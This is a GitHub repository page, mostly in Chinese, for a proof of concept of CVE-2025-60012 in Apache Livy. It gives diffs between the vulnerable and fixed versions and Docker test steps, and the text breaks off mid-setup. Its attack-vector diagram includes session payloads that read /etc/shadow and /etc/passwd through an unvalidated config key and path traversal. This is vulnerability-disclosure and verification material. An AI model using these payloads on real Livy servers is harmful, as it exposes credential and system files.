sid6224/CVE-2025-60012-POC

GitHub: sid6224/CVE-2025-60012-POC

针对 Apache Livy 未授权文件访问漏洞(CVE-2025-60012)的概念验证项目,含完整 Docker 环境和攻击演示脚本。

Stars: 0 | Forks: 0

# CVE-2025-60012 — Apache Livy 未授权文件访问 ## 概述 | 字段 | 详情 | |--------------|--------| | CVE ID | CVE-2025-60012 | | 严重程度 | 中危 (CVSS 6.3) | | 受影响版本 | Apache Livy 0.7.0-incubating, 0.8.0-incubating — 当连接到 Apache Spark 3.1 或更高版本时 | | 修复版本 | Apache Livy 0.9.0-incubating | | CWE | CWE-20: 输入验证不恰当 | | 披露日期 | 2026-03-13 | | 报告者 | Furue Hideyuki | ## 漏洞描述 拥有 Livy REST 或 JDBC 接口访问权限的已认证用户可以提交带有精心构造配置值的 Spark 会话 或批处理作业。两个缺陷结合在一起,允许攻击者 引用其允许路径之外的本地文件系统文件: 1. **缺少对 `spark.archives` 的验证** — Spark 3.1 引入了 `spark.archives` 作为 一种跨所有集群管理器分发归档文件的统一方式。Livy 0.8.0 中经过路径验证的配置键硬编码 列表(`HARDCODED_SPARK_FILE_LISTS`)不包含 `spark.archives`。因此,通过此键传递的路径永远不会根据 本地文件系统白名单(`livy.file.local-dir-whitelist`)进行检查,从而允许攻击者 引用任何本地文件。 2. **白名单检查中的路径遍历绕过** — 即使对于经过验证的配置键, Livy 0.8.0 中的白名单比较也使用普通 Java String `startsWith` 调用处理原始路径。攻击者可以使用路径遍历绕过此检查: `/whitelisted/dir/../../etc/passwd` 通过了字符串检查,但解析到了 允许目录之外。 ## 受影响的源文件 ### 文件 1 — `LivyConf.scala` **易受攻击 (v0.8.0):** https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala **已修复 (v0.9.0):** https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/LivyConf.scala ### 文件 2 — `Session.scala` **易受攻击 (v0.8.0):** https://github.com/apache/incubator-livy/blob/v0.8.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala **已修复 (v0.9.0):** https://github.com/apache/incubator-livy/blob/v0.9.0-incubating/server/src/main/scala/org/apache/livy/sessions/Session.scala ## 源代码 — 克隆命令 这两个版本都是使用以下确切命令直接从官方 Apache Livy GitHub 仓库克隆到 此工作区的: **仓库:** https://github.com/apache/incubator-livy ``` # 易受攻击版本 — 克隆到 ./livy-0.8.0/ git clone --depth=1 --branch v0.8.0-incubating \ https://github.com/apache/incubator-livy \ livy-0.8.0 # 已修复版本 — 克隆到 ./livy-0.9.0/ git clone --depth=1 --branch v0.9.0-incubating \ https://github.com/apache/incubator-livy \ livy-0.9.0 ``` | 版本 | 标签 | 解析的提交 | 本地路径 | |---------|-----|-----------------|------------| | 0.8.0-incubating | `v0.8.0-incubating` | `78b512658e4baf1183f2b352203ada1928d8111a` | `./livy-0.8.0/` | | 0.9.0-incubating | `v0.9.0-incubating` | `7215f209b25b96488189567807eaded00953a492` | `./livy-0.9.0/` | ## 确切代码差异 差异是通过在本地克隆两个标签(见上文)并运行以下命令生成的: ``` diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/LivyConf.scala \ livy-0.9.0/server/src/main/scala/org/apache/livy/LivyConf.scala diff -u livy-0.8.0/server/src/main/scala/org/apache/livy/sessions/Session.scala \ livy-0.9.0/server/src/main/scala/org/apache/livy/sessions/Session.scala ``` ### 修复 1 — `LivyConf.scala`: `spark.archives` 已添加到硬编码文件列表 ``` private val HARDCODED_SPARK_FILE_LISTS = Seq( SPARK_JARS, SPARK_FILES, SPARK_ARCHIVES, SPARK_PY_FILES, + "spark.archives", // <-- ADDED in v0.9.0 (Spark 3.1+ config key) "spark.yarn.archive", "spark.yarn.dist.files", "spark.yarn.dist.jars", "spark.yarn.jar", "spark.yarn.jars" ) ``` **v0.8.0 中缺少条目的影响:** 当用户提交包含 `conf: {"spark.archives": "file:///etc/passwd"}` 的会话时,Livy 0.8.0 永远不会对该值调用 `resolveURIs()`,也永远不会根据 `livy.file.local-dir-whitelist` 对其进行检查。该路径在未经验证的情况下转发给 Spark。 ### 修复 2 — `Session.scala`: 白名单检查前的路径规范化 ``` def resolveURI(uri: URI, livyConf: LivyConf): URI = { ... if (resolved.getScheme() == "file") { - require(livyConf.localFsWhitelist.find(resolved.getPath().startsWith).isDefined, + require(livyConf.localFsWhitelist.find( + Paths.get(resolved.getPath()).normalize.startsWith).isDefined, s"Local path ${uri.getPath()} cannot be added to user sessions.") } } ``` **v0.8.0 中的影响:** 原始字符串 `startsWith` 检查可以被路径遍历载荷绕过。 示例:如果 `livy.file.local-dir-whitelist = /opt/safe-data` ``` /opt/safe-data/../../../etc/passwd ``` - v0.8.0: `"/opt/safe-data/../../../etc/passwd".startsWith("/opt/safe-data")` → **true** (被绕过) - v0.9.0: `Paths.get("/opt/safe-data/../../../etc/passwd").normalize` → `/etc/passwd` `/etc/passwd`.startsWith(`/opt/safe-data`) → **false** (被阻止) ## 攻击向量摘要 ``` Attacker (authenticated REST/JDBC user) │ ▼ POST /sessions (or /batches) { "conf": { "spark.archives": "file:///etc/shadow" ← Attack 1: unvalidated Spark 3.1 key "spark.jars": "file:///safe/../etc/shadow" ← Attack 2: path traversal bypass } } │ ▼ Livy 0.8.0 — validation skipped / bypassed │ ▼ Spark reads the file and distributes it to executors │ ▼ Attacker retrieves file contents via job output / logs ``` ## 测试环境 此 PoC 中的所有步骤均在以下系统上执行并验证: | 组件 | 详情 | |-----------|--------| | 主机 OS | Ubuntu 24.04.4 LTS (Noble Numbat) | | 内核 | 6.17.0-14-generic x86\_64 | | 架构 | x86\_64 | | 总内存 | 15.49 GiB | | Docker Engine | 28.2.2 | | 主机 JDK | OpenJDK 17.0.18 (仅限主机使用 — 容器使用 eclipse-temurin:11-jdk-focal) | | 容器基础镜像 | eclipse-temurin:11-jdk-focal (JDK 11, Ubuntu Focal) | | Spark 版本 (两个镜像) | 3.1.3 with Hadoop 3.2 | | Livy 版本 — 易受攻击镜像 | 0.8.0-incubating (Scala 2.12 build) | | Livy 版本 — 已修复镜像 | 0.9.0-incubating (Scala 2.12 build) | ## 概念验证 ### 概述 ``` docker/vulnerable/ → image: cve-2025-60012-vulnerable (Livy 0.8.0 + Spark 3.1.3) docker/fixed/ → image: cve-2025-60012-fixed (Livy 0.9.0 + Spark 3.1.3) test/validate.sh → single script, run unchanged against both environments ``` 完整的端到端序列 — 按顺序执行步骤 1 至 4: ``` Step 1: Build vulnerable image → start container → verify Livy is up Step 2: Run validate.sh → confirm VULNERABLE (both attacks HTTP 201) → stop container Step 3: Build fixed image → start container → verify Livy is up Step 4: Run validate.sh → confirm FIXED (both attacks HTTP 400) → stop container ``` ### 步骤 1 — 构建并启动易受攻击的环境 (Livy 0.8.0 + Spark 3.1.3) **文件:** - `docker/vulnerable/Dockerfile` — eclipse-temurin:11-jdk-focal, Spark 3.1.3, Livy 0.8.0-incubating - `docker/vulnerable/livy.conf` — 绑定在 `0.0.0.0:8998`,本地模式,白名单 = `/opt/safe-data` **1a. 构建镜像:** ``` docker build -t cve-2025-60012-vulnerable docker/vulnerable/ ``` **验证 — 镜像已创建:** ``` docker images cve-2025-60012-vulnerable ``` 预期输出: ``` REPOSITORY TAG IMAGE ID CREATED SIZE cve-2025-60012-vulnerable latest
标签:Apache Livy, Apache Spark, CVE-2025-60012, CVSS 6.3, CWE-20, GHAS, Java安全, JS文件枚举, POC验证, SDLC, 中间件漏洞, 任意文件读取, 大数据安全, 应用安全, 文件读取漏洞, 未授权访问, 消息认证码, 白名单绕过, 网络安全审计, 请求拦截, 路径遍历, 输入验证绕过